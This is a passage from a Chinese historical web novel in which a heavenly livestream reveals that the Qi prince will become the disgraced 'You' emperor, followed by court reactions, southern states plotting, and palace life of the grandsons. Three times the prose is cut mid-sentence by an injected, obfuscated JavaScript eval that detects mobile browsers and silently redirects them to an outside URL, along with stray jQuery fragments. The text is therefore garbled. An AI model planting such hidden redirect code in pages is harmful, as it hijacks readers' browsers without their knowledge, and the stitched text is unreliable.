心中千般思绪,化作无声低语:“不像,一点都不像……” 宣政殿内,鸦雀无声。 纵然是不会看人脸色的秦王,此刻也不敢打扰永明帝的回忆。 这后世的伶人演绎起来简直绝了……薛澄被天幕上的氛围感动得不行,正想与旁边的三弟分享心情,却见后者呆呆仰着一张小脸。 眼尖的他从薛挽月颤动的睫毛间看见了一点泪痕。 薛澄的神色一下子复杂起来。 差点忘了,四兄弟中,只有三弟薛湛年幼丧母,算来王小娘去世至今还不足两年罢? 王小娘在世时,他们母子并不受父王宠爱,天幕中这般画面,从前三弟不曾享受过,往后更是不可能享受到了。 薛澄偷偷瞪了眼齐王:都怪父王! 齐王平素颇有贤名,其中一条就是尤为敬重王妃。 哪怕齐王妃成亲数年未育子嗣,齐王虽不得已纳妾开怀,却对妾室与庶子不假辞色,一心盼着与王妃诞育嫡子。 四位庶子的生母若非育子有功,在齐王府至今依旧无名无分,最多只算通房婢女。 即便如此,她们现在也只是最低等的侍妾之流,甚至没有属于自己的封号。 齐王一副“和侍妾只是假玩,和王妃才是真玩”的嘴脸,令薛澄四兄弟平等地缺失父爱。 只是,包括薛澄在内,哥仨到底还有生母关怀,唯独薛挽月一无所有。 三弟平时少年老成,终究只是九岁稚子啊!这样一想,薛澄心头怜意大起。 “唉……” 比三弟大不了两岁的薛澄叹息一声,很有兄长范地拍了拍三弟的肩膀,以示安慰。 被惊醒的小少年朝他投来诧异的一瞥。 留意到二哥薛澄眼底的担忧与关切,薛挽月明白了什么。 他反手覆上薛澄的手,微笑着摇了摇头。 他没事,只是一时忆起早逝的阿娘……薛挽月下意识握住腰间一枚不起眼的香囊。 这是阿娘留给他的遗物。 两年前为亡母守灵的夜晚,来自异世的灵魂曾企图占据他的身体,夺走他的一切。 他一度崩溃,浑浑噩噩陷入黑暗。当他再度睁开眼睛,看见的就是亡母的灵位。 灵位无声陪伴着他,袅袅檀香中,薛挽月慌乱的心就这样平静下来。 年幼的他能在角力中胜过成熟的异世之魂,奇迹般生还,定是阿娘在天之灵的庇佑。 既然阿娘一直陪在他身边,庇佑着他,母子二人从不曾分离,又何必徒然伤悲? 薛挽月很快就收拾好了自己的心情。 他重新抬头看向天幕。 梦终究是要醒的。 天幕上朦胧的滤镜随着片片桃花破碎。 鸡犬相闻的屋舍不复存在,取而代之的是暗沉的寝殿。帷幔低垂,一只手探出锦被,急切地抓了一把,却抓了个空。 形销骨立的帝王从梦中猝然惊醒。 他看上去不复梦中的年轻强健,而是须发花白,两颊凹陷。一双浑浊的眼睛久久地、失神地凝视着黑暗中的某个点。 不知不觉间,他泪流满面。 这一幕画面极具冲击力。 几个皇子纷纷惊愕地愣在原地。 不是,这真是他们那一生强硬的父皇? 是是是,大家都知道父皇对先皇后与文襄太子、宣成公主感情深厚,可也不至于又是梦中团圆,又是醒后痛哭罢,这都是在瞎演什么? 改编不是瞎编,后世之人简直乱弹琴! 众皇子忍不住在心里酸酸地腹诽起来。 晋王早就接受了父皇偏心眼偏到嘎吱窝的事实。他探头一个劲地朝永明帝脸上瞥,想瞅瞅父皇看见这一幕是什么表情。 是恼羞成怒呢?还是触景生情? 谁知永明帝却侧过身去,让他大失所望。 留意到晋王反应的永明帝:…… 他握住剑柄的手又紧了一分。 群臣早已识趣地垂下头,避免直视天幕上帝王失态的一幕。哪怕那并不是真正的永明帝,而是后世伶人扮演的天子。 眼睛移开了,他们的耳朵却避免不了本能地捕捉天上传来的声音。 【大梦初醒,夏太祖薛烈怅然若失。《夏史》记载,这位一生流血不流泪的硬汉潸然泪下,哽咽失语,在榻上独坐良久。】 【而后,他下了一封诏书。】 【这是一封追封文襄太子为帝的诏书。】 【想想也是,好大儿年纪轻轻就没了,就连唯一遗留的骨血都幼年夭折,在重视香火传承的古人看来,岂不是死后连个供奉都没有?难怪夏太祖这样的猛男都要落泪了。】 一段剪辑的影视片段再次跳出来。 这一次是内侍当众宣读追封诏书的场景。 长达数百字的诏书中,尽是对文襄太子的溢美之词,从孝顺父母,友爱弟妹,到文昭武德,既能治军,又能抚民,最后死在为大夏冲锋的路上,简直是可敬可叹。 天幕上的女郎轻咳一声。 她装模作样地捋着不存在的胡须,将拗口的诏书翻译成通俗易懂的白话,又摆出亲爹嘱咐儿子的搞怪口吻,顿时逗乐了不少人。 【——崽啊,没有子孙后代供奉香火不打紧,爸爸给你升个级,从太子变成皇帝。以后你就跟着爸爸,名正言顺蹭香火!】 永明帝听到这里眼前一亮。 是啊,追封!他怎么没想到这一茬! 本就被天幕勾出了浓厚的思子之情,永明帝满腔父爱无处安放,此时立刻被点醒: “文襄太子,朕之元子,国之干城。功未酬而身先殉,朕每念及此,五内痛惜。” 他只是沉吟着说了这么一句话。 群臣立刻会意。 丞相夏侯敬率先出列,肃容一揖,而后群臣纷纷躬身,宛如整齐的麦浪:“文襄太子系出高后,功冠群伦,不幸殉国,天下痛之。今大夏定鼎,陛下追思爱子,臣等感同于心。伏请追加尊号,迎神主入庙,享宗庙血食,以彰其德,以慰圣怀。” 即便有个别人对此略觉不妥,想到文襄太子无嗣,不必担心国本之争,再看永明帝脸上不加掩饰的喜悦,也就默然无语了。 丞相率百官上奏,天子顺水推舟,事情就此落定。 永明帝为好大儿争取到了建立寝庙的资格,百官以虚名安抚住了天子的情绪,夏侯敬这个丞相再一次用实力证明了自己为何简在帝心……这一波是共赢。有意无意间,众人共同忽略了“帝王落泪”的记载。 大概只有皇子们感觉自己输得彻底。 早早躺平的陈王和梁王也就罢了。二人只是再一次认识到自己和长兄在永明帝心中天差地别的地位,决定以后躺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830598|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更平。 有意争位的秦、晋、吴、齐四王,纷纷破了防。 吴王与齐王是静静地破防。 一个怀疑自己就是夏幽帝,一边破防,一边心虚; 一个自觉才华冠绝兄弟,只可惜生得太晚,没有投胎到皇后肚子里,心中暗恨命运不公,脸上还要维持平静。 秦王与晋王却是闹闹地破防。 晋王破防的原因有点别致:“父皇你哭了?你真哭了啊?你不是说大丈夫流血不流泪吗?凭什么父皇你能哭,我多哭两声就要受杖责啊?!” 永明帝对儿子向来信奉棍棒教育,只要做错了事就是一顿打。晋王现在回想起上次挨的一顿板子,突然就觉得自己太冤了。 他不就是酒后情绪难抑,当众大哭了两回吗,恰好父皇上门撞见,好一顿杖责!哪条律令规定了不能哭,哭了就得挨罚? 众人默契忽视的事实,晋王偏要点明。永明帝的脸黑了一瞬。 他看向晋王的目光渐渐不善。 幸而同样破防的秦王主动跳出来引怪:“凭什么?” 他十分不忿:“儿臣也为大夏立过功,儿臣也为大夏流过血。凭什么大哥人都没了还能被追封为帝,儿臣一辈子到死都不过是区区秦王?!” 秦王这一开口,简直石破天惊。 宣政殿中响起一连串倒吸凉气的声音。 该说不说,秦王从前虽然莽,但也没有这么莽。自从被预告死亡,这人就有点天不怕地不怕的味道了,什么话都敢说,简直是活阎王啊。 一道道不满的视线聚焦在秦王身上。 ——你秦王不怕死,咱们还想活啊! 永明帝对这个长子已经彻底失望。 “‘区区’秦王?”满殿寂静中,永明帝冷冷地反问道,“怎么,秦王之位你尤嫌不足?是欲为储君,还是欲为天子?” 到底是征战半生的马上皇帝,在他外放的气势面前,哪怕是上过战场杀过人的秦王,都情不自禁瑟缩了一下。 很快,他就梗着脖子道:“有何不可?” 宣政殿再度鸦雀无声。 晋王看向秦王的目光中充满了惊叹。 他悄声道:“从前我还不服老二,如今是真服了。” “6啊,二叔是这个!” 薛澄也凑在薛挽月身边,悄悄冲秦王竖了个大拇指。 薛挽月深以为然地点点头。 大概是看永明帝居然没发火,自觉有戏的秦王再接再厉,毛遂自荐:“上回父皇都能瞎了眼选中那夏幽帝,儿臣再怎么也比他强百倍——” 他不提夏幽帝也罢,一提简直捅了马蜂窝。 永明帝自认当上皇帝已经修身养性,但秦王一而再、再而三大放厥词,终于令他克制不住暴脾气。 他怒极反笑,一脚就踹了过去。 砰! “和他比?” 砰砰!! “这就是你的出息?” 被连环三脚踹蔫的秦王委屈得不再吭声。 愤懑不已的他仰头望天。 ……不选他是吧?他倒要看看被父皇瞎眼选中的夏幽帝究竟是谁,什么德性,究竟是凭什么得到了父皇的青眼! 他倒也不是不可以勉为其难效仿一二。 【永平五年十月十一,夏太祖薛烈病逝于未央宫。】 【临终之际,他留下一封决定大夏命运的传位诏书,将皇位传给了——】 ……来了来了!我命休矣! 吴王绝望地闭上了眼睛。 却听天音如雷,震荡着每个人的心扉: 【——非嫡非长的第五子薛璟。】 【继承人之争就此落下帷幕,齐王薛璟脱颖而出,成为大夏万里江山的新主。】 满殿目光聚焦在齐王身上。 天幕上的女郎却在这时挥了挥手。 【好啦,本期直播就到这里。】 【下一期,咱们专门开唠《影帝上位那些事》,一起走进大夏梗王、究极影帝的传奇一生!记得关注哦~】 5.动荡 天幕来得突然,走得也突然。 只剩艳阳高照,碧空如洗。 大半年时间下来,天下人已经习惯这份“神出鬼没”。 “……文心姑娘再会!” 许多人意犹未尽,习惯性与天幕上的女郎道过别,便盼望着再会之期能尽早到来。 从过往经验来看,两期直播的间隔少则十天半个月,最长的一次是整整三个月。 而这一期直播在天下造成的影响无疑是前所未有。 前几期毕竟只是揭露永明帝的发家史,对天下人而言宛如新颖的传奇评书,只是评书的对象恰好在世,更是坐拥中原的北方霸主。 天下人从评书中享受到了窥探大人物八卦的乐趣,用主播的话来说就是吃瓜吃得一本满足,却不至于因为过去的事情再做些什么。 这一期的直播却不然。 它揭露的是并不遥远的未来。 一代枭雄的死讯、南方三国的覆灭、未来天下的走向……从北到南的人心都躁动起来,无数人因此而陷入迷茫与混乱。 持续数十年的乱世,似乎即将迎来终结?鼎立中原的大夏终将承接天命? 有识之士们纷纷坐不住了,他们意识到一个新的时代近在咫尺。 大概唯一的疑虑就是那被断言为究极败家子的夏幽帝…… 谁都知道他今生今世已无缘大位,却不知道此人原本造下了怎样的大孽,才得到如此恶谥。若是闹得天怒人怨,即便尚未发生,也有可能动摇人心。 “……这也是南方三国苟延残喘的希望所在。” 夏国治下,豫州,观澜书院。 十余名士子齐聚一堂,纵论天下大势。 说话的人一袭青衣,萧萧肃肃,爽郎清举,看上去不过十七八岁,于在场诸生中最为年轻,却隐隐被众人簇拥。 他羽扇轻摇间,有种令人信服的魅力。 此人话音落下,便有人问道:“只是苟延残喘?葛兄以为,夏主必取天下乎?覆亡之危在即,齐、梁、陈三国若是同仇敌忾,合众一心,未必不能北拒强夏……” 众所周知,南方三国纷争不休数十年,直到夏国崛起于北方,一统中原,三国有了共同的敌手,近年来才渐渐有结盟的倾向。只是基于种种原因,谈判总是不成。 但如今,凄惨的未来已经摆在眼前,为了保全社稷,也该摒弃前嫌,携手抗夏罢? 葛昭闻言,淡然一笑。 “诸君以为是一人计长,还是三人计长?” 诸生对望一眼,隐隐明白了他的意思。 “自是一人计短,三人计长。”葛昭轻摇羽扇,自问自答道,“然则夏主乾纲独断,政令分明,麾下文武如臂使指。夏主挥鞭所指,三军用命,故能速决。再看陈、齐、梁三国,纵使同盟,实乃三主,互不统属,号令不一。每逢大事,使者往来于三庭,而夏师已渡江矣。” “此其弊一。” “再者,齐国居北,直面大夏兵锋,无日不枕戈待旦。陈、梁皆以齐为屏障,安居后方,休养生息。一旦合兵抗敌,二国大军直入齐地,兵弱则不能拒夏,兵强则齐主难以安枕。卧榻之侧皆是他国虎狼之师,一旦有变,危在旦夕。” “此其弊二。” “且夏军伐齐,齐人可以死战,陈人、梁人愿为齐死战乎?死伤惨重,陈人、梁人必生去意。陈人、梁人不肯死战,齐人喋血沙场,见二国托庇于后,安枕无忧,纵得钱粮响应,焉能不平?” “此其弊三。” “利不齐则心不齐,三国之盟,形聚而神散,何异一纸空文?”这个身形瘦弱、脸庞也有些稚嫩的年轻人,此时指点江山,神采飞扬,“反观大夏,夏主起于戎伍,虎踞中原,统一天下可计日以待,惜乎年寿不永!而今其得闻天机,以雷霆之势出击,三国孰能当其兵锋?” “诚如是,则大业可成,天下可定!” 说到此处,他眼底焕发出熠熠光彩。只恨自己未能早生十年二十年,错过了逐鹿天下。 这一番剖析鞭辟入里,诸生皆以为是。 便有人好奇地请教道:“既然葛兄以为夏主大业可成,何以又道齐、陈、梁三国有望苟延残喘?以在下观之,三国之内,此时恐怕已是人心惶惶,降者如云罢?” 葛昭幽幽道:“那就要看幽帝……比之开平王何如。” 开平王? 这个大名鼎鼎的王号,令诸生面色一凝。 ——昔日战国纷争,天下终并于赵。而后赵失其鹿,天下共逐。虞太祖起于草莽,一统四海。前燕则承虞朝天命。开平王便是虞太祖之胞弟,其一人能生撕虎豹,有万夫不当之勇。然其禀性酷烈,征战之时多行屠戮。史书记载有六次屠城、三次杀俘,一次坑降,可谓凶威赫赫! 虞朝立国未久,这位开平王便死于暴毙。其死因疑点重重,野史之中,诸般线索都指向其胞兄虞太祖。后世却从未有人替他叫屈喊冤,指责虞太祖暗施阴谋,滥杀功臣。盖因开平王姚安实在是不得人心。 众人顿时明了葛昭言下之意。 ——那夏幽帝若是造下开平王一般的杀孽,南方三国未必不能借此凝聚臣民之心,共抗“暴夏”。只是,国力差距摆在这里,薛烈更是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856418|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路杀出来的雄主。相较之下,三国之君恐怕连鸡都没杀过,宛如温室之花。大势在夏,三国终究难挽天倾。 这群“纸上谈兵”的书生并不知道,就在他们纵论天下大势之时,四国君臣也没闲着,已将当下与未来的局势分析了个遍。 而这群人得出的结论居然与葛昭差不多。 三国之中,抵抗情绪最为激烈的梁国国主屏退众人后,与心腹秘议:“天机既现,人心向夏。朕本欲携手抗敌,然齐王贪生,陈王无道,竖子不足与谋!” 说到此处,他一双浓眉紧锁。 两名心腹见状,纷纷嘿然。 他们自是知道国主为何如此气急败坏。 距离上一次天幕现世已经过去一个月,布置在齐、陈二国的探子陆续传来情报,结合明面上往来的国书,形势已然分明。 两名心腹对视一眼,当下出言道:“陛下所言甚是。” “齐主仁柔,闻天意而气沮,已无抵抗之心。其朝中劝降之声日盛,恐未见夏师而降旗先竖;陈主暴虐,不思整军御敌,反以屠戮立威。滥杀大臣,牵连甚重,朝野内外,人人自危,此无异于玩火自焚!” “我大梁生死岂能系于彼辈?自当谋之。” 萧永与两名心腹又秘议许久。 夜色已深,烛光照耀在这位国君布满阴霾的脸上:“……薛老贼春秋已高,后继无人,诸子相争,又有‘幽帝’之患。朕有意遣细作,携重金北上,窥其嫌隙,挑拨是非。使其内耗自损,则我可缓息图强。” “陛下,那夏明帝……?” 心腹犹豫了一阵,还是提醒道。 照天幕透露的信息,若非有夏明帝收拾烂摊子,夏国多半是二世而亡。如今人心在夏,对夏明帝的期待至少占了一半。 此言一出,萧永的神情骤然阴沉。 薛烈老贼,欺人太甚!昔日登基之时,老贼竟以三国国号为王爵,分封三子。乃是明示天下,视三国如囊中之物,三国之君为待宰之牲。简直是奇耻大辱! 什么梁王、齐王、陈王! 僭乱之辈,统统该死! 现在又冒出一个夏明帝…… “黄口孺子,焉承天命!”萧永语调森冷,目中亦闪过一抹凌厉杀机,“遴选死士,潜踪入夏。给朕死死盯住薛老贼那些儿孙。那薛璟诸子,宁可错杀,不可放过!天幕终将再现,一旦透露明帝姓名……” 两名心腹领命而下。 萧永背过身去,负手而立。 殿内的阴影彻底将他吞噬。 “天命在夏?天命,当由朕亲手来取。” 6.幽帝 当“薛璟”二字伴随天音落下,宛如平地骤响惊雷,宣政殿内蓦然一静。 天子、百官、诸王、皇孙,满殿目光尽数凝聚在齐王薛璟身上。 对齐王多有看好的朝臣更是感觉天都塌了。 齐王……怎么会是齐王?! “嗬——” 一道突兀的、仿佛溺水之人重获新生的吐气声,打破了阒静。 众人下意识地循声望去,只见吴王薛瑜竟双腿一软,当场瘫坐在地。 他长吐一口浊气,犹自惊魂未定地擦拭满头冷汗,脸上尤带着几分后怕。 所有人:“……?” 被点名的是齐王,你吴王瘫什么? 就在众人的注意力被吴王牵引的几个呼吸间,僵立在原地的齐王薛璟轻轻转动眼珠。 他轰然炸响的大脑中还是混沌一片,万千思绪宛如被揉成一团的乱麻。有震惊、错愕、狂喜,也有惶恐、愤怒、绝望。 好消息,他是兄弟中最终的赢家。 坏消息,所有人都知道他玩砸了。 “夏幽帝竟是我自己”的黑色幽默猝不及防上演,饶是薛璟向来养气功夫极好,也不由头晕目眩。 四面八方砸来的目光几乎要将他盯穿,就在这些目光转向吴王的刹那,薛璟猛地清醒过来,他用力一掐掌心。 一瞬间,天子剑缓缓出鞘的寒光晃过他的眼。 对上永隆帝冷到结冰的眼神,薛璟一个激灵。 不能认,坚决不能认! 他抢在剑锋彻底出鞘前开口:“这、这一定是有哪里弄错了……对!区区闺阁女子,哪里懂庙堂之事?定然是拾人牙慧,以讹传讹!” “此女还曾妄言,父皇靠儿女起家,多有穿凿附会,十分无稽……” 薛璟越说越是流利,终于从一团乱麻中理出一条思路,又像是溺水者抓住了救命稻草,他的语速越来越快,渐渐盖过殿中杂音:“后世之人素喜夸大其词,危言耸听。一分功劳说成十分,一分劣迹扩大百倍……” “再怎么夸大其词,危言耸听,‘幽帝’之谥,总不是人家胡诌的罢?” 旁边的陈王没忍住嘀咕了一句,梁王下意识点头表示赞同。 二人瞥向齐王的眼神里明晃晃写着一句话:……没想到你是这样的五哥! 几兄弟挨得近,耳聪目明的薛璟很想装作听不见。 他深吸一口气:“自古岂有不孝之君?明帝既是明君在世,焉能以子议父,加以恶溢?” “——儿臣冒昧揣测,必是皇权旁落,天子年幼,权臣欺主,为掩饰篡逆之心,打压幼主威名,分辩朝中敌友,故意罗织罪名、抹黑夏主,以代薛氏天命,一如虞朝司马爽旧事!” 所谓司马爽旧事,指的便是昔日虞朝末年,权臣司马爽手握大权,将皇帝视作傀儡,又对虞朝历代君王或废庙号,或改谥号。 其中就有一位倒霉鬼,死后的谥号本是中谥,被改为恶谥。 凭心而论,那位虞灵帝虽不算功业昭彰,却也谈不上昏暴无道。 以“灵”为谥,未免过矣。 薛璟绞尽脑汁搬出这个例子,将大冤种虞灵帝拉下水,无疑是为了自己张目。 觑了眼面沉如水的天子,他上前两步,咚地一声跪地,行了个五体投地的大礼。 再抬起头时,薛璟的眼眶已经通红。 “父皇,儿臣不孝,儿臣罪该万死!” “儿臣定是与二位皇兄一般福薄命短,早早去了,又误信奸佞,所托非人,这才使得江山社稷落于权臣之手,功业未就,反落得败家之名!” 薛璟一边痛陈己过,一边砰砰磕头。 “倘如此,儿臣百死难赎……” 他的眼泪说来就来,青紫的熊猫眼被泪水泡得浮肿。原本整整齐齐的发髻散乱开来,额头也磕出了大包,看上去好不凄惨。 群臣皆是眼观鼻、鼻观心,巍然不动。 有些人垂着眼皮,似乎当场打起瞌睡。 少数重臣,诸如丞相夏侯敬,更是将目光掠过齐王,看向他身后依次排列的齐王府四位公子——长公子薛温、二公子薛澄、三公子薛湛,四公子薛泽。 他们的目光像是在沙砾中搜寻明珠。 永隆帝同样如此。 不动声色地打量过四个孙子,他的目光在莫名冷静的薛挽月脸上停留了一瞬。 他悄无声息的注视宛如一缕微风,除了当事人之外,不曾被任何人发现。 耳边是齐王声泪俱下的请罪。 ……说实话,有点烦。 这短短不到半日光景,永隆帝的心态便大起大落。儿子们个顶个的惹人生厌,从前他还会恨铁不成钢,而今却接受了事实。 现在的他有了新的选择。 天子的愤怒暂且冷却,甚至隐隐抱着一种“朕倒要看看你还能怎么演”的心态,冷眼旁观齐王一系列随机应变的表现。 永隆帝都想称赞这个儿子很有几分急智。 齐王这一番声泪俱下、唱念做打的表演惊呆了不少人,尤其是与他接触不多的第三代。 薛澄瞪大了眼睛,不敢相信这是他印象中素来风度翩翩的父王。 年仅七岁的薛泽平时最受齐王宠爱,此时已被吓得小脸煞白。 薛挽月平静地站在原地。 他能感受到来自天子的注视。以永隆帝的性格,纵然没有“明帝”这一因素,也不至于迁怒孙辈,因此他心中并无惶恐。 甚至,出于某些缘故,薛挽月不动声色地将齐王的语言动作一一记在心底,试图总结精髓,从这位父王身上学来几分演技。 这可是个颇为实用的技能。 齐王长子薛温瞥了眼呆呆傻立的三个弟弟,也跟着齐王麻溜地一跪,十分懂事:“请皇祖父息怒!父王若有不是,孙儿愿意代父受过……” 这一刻,他心里生出几分不合时宜的念头。 既然父王是夏幽帝,明帝会是他吗…… 他不切实际的幻想被一声嗤笑打断。 “得了吧老五!” 秦王薛瑞本就看不惯这个素来装模作样的弟弟,又听齐王言及“福薄命短”的不祥之语,顿时被戳中痛处,他双臂环胸,居高临下看着涕泪交织的齐王。 “少在这里避重就轻!哭哭啼啼演给谁看?家业是你败的,你在这一推二五六,我要是你早就抹脖子了!” 齐王一时竟不知该不该继续请罪。 “二哥这话虽粗鄙,但话糙理不糙。” 晋王薛琛慢悠悠地补了一刀。 “而今众正盈朝,本王可不曾看出谁人有司马爽的潜质?将来若是出了个司马爽,想来也是五弟你一手提拔……”他补完一刀又一刀,“况且,即便真有权臣为你强加恶谥,何以你那好儿子不替你平冤昭雪?” 齐王被他挤兑得脸一阵红一阵白。 晋王却不忘乘胜追击。 “《礼》云:子为父隐。”他微笑着吐出致命一击,戳穿了齐王这番说辞最大的漏洞,“父有大过,子或可遮掩为小过。父有小过,子或可避而不谈。明帝既是有道明君,当知子不言父过。真不知五弟你犯了何事,让你的好儿子都不愿为你粉饰,抑或是粉饰不了?” 晋王用疑惑的口吻打出了最恶毒的攻击。 他对齐王的观感并不像秦王那么差。 严格来讲,吴、齐、陈、梁四王于他而言都不过是没上过战场、不曾为大夏江山流过一滴血的小年轻,与家养的猫狗一般无害,即便张牙舞爪,在晋王看来也毫无威胁。 自己既然早逝,任何一个弟弟上位都无可厚非。前提是对方不能糟蹋这份用他鲜血浸染的家业,让父子几人一生的心血沦为笑话…… 一不留神错过很多剧情的吴王终于平复劫后余生的心情,便听见晋王的质疑,剑拔弩张的气氛令他错愕不已。 他仿佛一个没看前面,直接来到关键剧情的观众,下意识找补道:“咳咳,我看几个侄儿都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874869|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的,或许是力有不及。” 吴王向来是兄弟中的老好人,他本意是为打圆场,哪知话音落下,就听陈王与梁王憋不住笑出了声,而齐王则是气得在原地发起抖来。 秦王和晋王的连击没有让他破防,吴王的一句“力有不及”终于打出暴击。 薛璟几乎面目扭曲:……什么意思?吴王什么意思?他造的孽太大,就算明帝尽心粉饰也力有不及,“幽”之一字还是粉饰过后的结果?! 薛挽月也有点憋不住想笑了。 这位吴王叔真是个妙人…… 此时他倒是有些好奇,齐王还有什么破局之法。 齐王并不知道自己身后还有一位带孝子等着看他表演。 有那么一刻,他想要冲上去和这帮围攻他的兄弟拼了。 持续发痛的熊猫眼告诉他,别说孔武有力的秦晋二王,吴王他都未必能打得过。后者来者不拒,养了一堆奇人异士,据说还跟着游侠学过几手剑法。陈、梁二王不休提,同是文弱书生,至少比他年轻力壮。 万般思量,最终都化作一声苦笑。 “兄弟一场,血脉相连,何苦在此落井下石、恶语相向……”苦笑着摇头,似是伤心至极,薛璟俯下身去,“父皇恕罪,儿臣、儿臣着实想不通将来如何败了家业,已是惶恐无地……幸得上天垂怜,有佳儿力挽狂澜,又昭示天机,令我提前悔改,否则儿臣早已无颜立于殿上……” 薛璟嘴上如此说,心里着实恨透了天幕。 若非天幕,他本该是这万里江山的主人。 然而此时此刻,他甚至不能表露出一丝的怨恨与愤怒。只能伤心、茫然、自责、惶恐,而后跪地请罪。 一如温驯的羊羔只能将命运交到牧场主手中,他只能将命运交到既是天子也是父亲的永隆帝手中。 “……儿臣听凭父皇发落。” 众人的目光顿时汇聚到天子身上。 永隆帝看着面前眼眶青紫,涕泗横流的齐王。这个儿子没有秦王的暴躁,没有晋王的散漫,没有吴王的软弱,一度令他放心…… 如今看来,他的心放的太早了。 念及于此,一股邪火又燃烧起来。事实证明,愤怒从未冷却,只是被他强行冰封。 手中的天子剑已然出鞘数寸,冰冷的剑锋倒映着帝王怒火中烧的眼睛。 那双按在剑柄上的手是如此有力,指节捏合间,发出轻微的“咯吱”声。 凝若实质的杀意让离得近的几位重臣都感到头皮发麻。近在咫尺、“首当其冲”的齐王更是一个激灵,身体本能想要躲避。 有那么一瞬,所有人都以为天子会当场暴起,不是一剑劈了齐王,就是像踹秦王一样将他踹翻在地。 但预想中的画面并没有出现。 永隆帝的手终于动了。他缓缓将出鞘的剑锋推了回去,不带感情地注视着齐王。 “薛璟。”时间仿佛凝固许久,直到永隆帝开口才重新流动,他直呼齐王的姓名,“你的兄弟,替你考虑周全。你的儿子,也孝心可嘉。” 被永隆帝目光扫过的诸王一动不敢动。 薛温听不出皇祖父的口吻是褒是贬,跪在地上不敢动弹。 直愣愣杵在原地的薛澄兄弟三人,看了看跪地的父王与长兄,终于意识到他们这么杵着似乎有违孝悌之道,想了想,便也乖巧地跪下了。 “朕现在不杀你,也不罚你。” 永隆帝轻飘飘看了齐王一眼。 “不是信了你的巧言令色,只是朕还未亲眼看一看,这大夏基业……究竟是如何败在你手中。”他的口吻渐渐沉重。 “传旨,即日起,齐王禁足信安宫,闭门思过,无诏不得外出。” 信安宫乃是齐王开府之前的旧邸,此时永隆帝一开口就将他关在了宫里。 至于齐王府四位皇孙……永隆帝目光扫过跪成一排从高到低的小萝卜头,下了第二道圣旨:“诸皇孙暂留宫中,改日由朕亲自择师教导。” 7.皇孙 “……这就是皇祖父的安排吗?拿咱们当拉磨的骡子,可劲儿使唤?” 大夏皇宫深处,住处紧挨在一起的薛澄例行溜达到三弟的院子里,一屁股坐在石凳上,叫苦连天。 “每日天不亮就扎马步,日头落山还要临帖,这月余读的书,比过去一整年都厚,骑射更是练得掌心都磨破了!除了用膳睡觉没一刻得闲,这日子何时是个头——” 薛澄抱怨了一大通,却没能得到反馈。 转头一看,薛挽月恰好描完一张大字,又铺开一张崭新的纸,一边提笔沾墨,似乎就要描下一张。 薛澄倒吸一口凉气。 “三弟你变了,你从前不是这样的!”他用一种看“背叛者”的眼光看着薛挽月,痛心疾首,“什么时候你也学着大哥一样勤学用功了?” 薛挽月无奈地搁下笔:“大概是从上次二哥你偷走我临的字,充当日课上交开始的罢。托你的福,我这几日功课翻倍了。” 薛澄:“这个、那个……” 这件事是他不对,薛挽月本是苦主,受他连累,却不曾指控他,反而在先生问起时默认与他串通,不然他非得挨板子不可。 不得不说,三弟很讲义气。 薛澄越想越是心虚气短,不敢直视薛挽月看来的眼神。 他支支吾吾半晌,憋出一句话:“兄友弟恭的事,怎么能叫偷呢?兄长关心弟弟的学业天经地义,这不是一不留神混淆了咱俩的大字吗?” “原来如此。”薛挽月假装信了,“只是,论勤学用功,我远不及大哥。如今宫中谁人不知齐王长子好学成性?” 薛澄愣了两秒才反应过来,弟弟是在回应他之前的“疑问”。 他的表情变得有些微妙。 做贼似的左右觑了觑,发现内侍宫人都站得极远,他才凑到近前,压低声音:“你也听说了?大哥据说每夜子时还亮着灯,白日更是不得歇,这一天天的,真当自己是铁打的不成?也不知他图个什么。” 嘴上如此说,薛澄心里却明白。 在父王被禁足的当下,薛温如此卖力表现,还能图什么?左右不是失心疯了自认为明帝,便是担心受父王连累,惶惶然想在皇祖父面前多露脸…… 薛澄想了想,大抵是后者罢。 倘若薛温真的认定他自己是明帝,应当底气十足,不必如此急于表现。现在这样子,倒是有几分病急乱投医的仓皇。 想想也是,齐王没有嫡子,世子之位多半是他的,而今得悉天机,一旦天子震怒之下废黜齐王之爵,他岂非一无所有? 一念及此,薛澄隐带同情,又有几分无所谓:“随他去罢,反正咱们可没有王位继承,开摆开摆。” 他甩出了从天幕中学到的时髦词。 “没有王爵还有公爵,大抵该是郡公?”薛挽月见状有些好笑,他幽幽提醒道,“二哥莫非以为,藩王之子不是继承王爵,便是沦为白身?” 薛澄冷不丁被他点醒:“……” 是哦,倘使父王平安无事,不但大哥有王位能继承,他们也能捞个郡公当当啊。 